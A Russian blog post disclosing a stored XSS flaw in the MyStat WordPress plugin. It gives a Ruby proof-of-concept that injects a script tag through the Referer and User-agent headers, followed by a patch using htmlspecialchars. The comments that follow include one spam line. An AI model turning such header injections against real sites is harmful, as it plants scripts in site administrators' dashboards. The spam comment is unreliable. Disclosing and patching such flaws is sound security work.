активная XSS плагин mystat wordpress
Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина – http://wordpress.org/extend/plugins/mystat/.
Актиная XSS наблюдается в таких разделах плагина как ‘Рефереры’, ‘Агенты’ итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов.
Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что эта бага актуальна для всех версий WordPress и всех существующих на данный момент версий mystat.
Эксплойт
Эксплойт написан на Ruby, как установить и запустить Ruby читайте в предыдущих статьях этого блога.
#!/usr/bin/ruby
require 'net/http'
http = Net::HTTP.new('very.popular.blog.ru', 80)
path = '/'
headers = {
'Referer' ='<script>alert(/XSS/);</script>',
'User-agent' ='<script>alert(/XSS/);</script>'}
resp, data = http.get(path, headers)
if resp.code.to_i==200 then puts "Exploiting OK"
else puts "Exploiting failed" end
Фикс
Открываем /wp-content/plugins/wp-mystat/mystat.php и фильтруем в функции function myStat_header() html-теги функцией htmlspecialchars():
$US['lang']=htmlspecialchars((string)substr($GLOBALS['_SERVER']['HTTP_ACCEPT_LANGUAGE'],0,2));
$US['user_agent']=htmlspecialchars((string)$GLOBALS['_SERVER']['HTTP_USER_AGENT']);
$US['referer']=(string)isset($GLOBALS['_SERVER']['HTTP_REFERER'])?htmlspecialchars($GLOBALS['_SERVER']['HTTP_REFERER']):'';
Здесь приведен не полный список полей, которые надо фильтровать.
Статья не призывает ни к каким действиям, противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Ruby для сплойтов? мдауж, юзай perl Ruby реально редко у кого есть
Кстате, buy viagra, buy cheapest viagra online.
да тут такой сплойт примитивный, что его и незная Ruby можно легко транслировать на любой другой язык, а можно даже и совсем не кодить, а задать необходимые данные заголовка HTTP через плагин для FF LiveHTTPHeaders.
P.S. я не знаю перл
Благодарствую, полезная вещь.
Horoshaya infa!
Благодарствую, полезная вещь.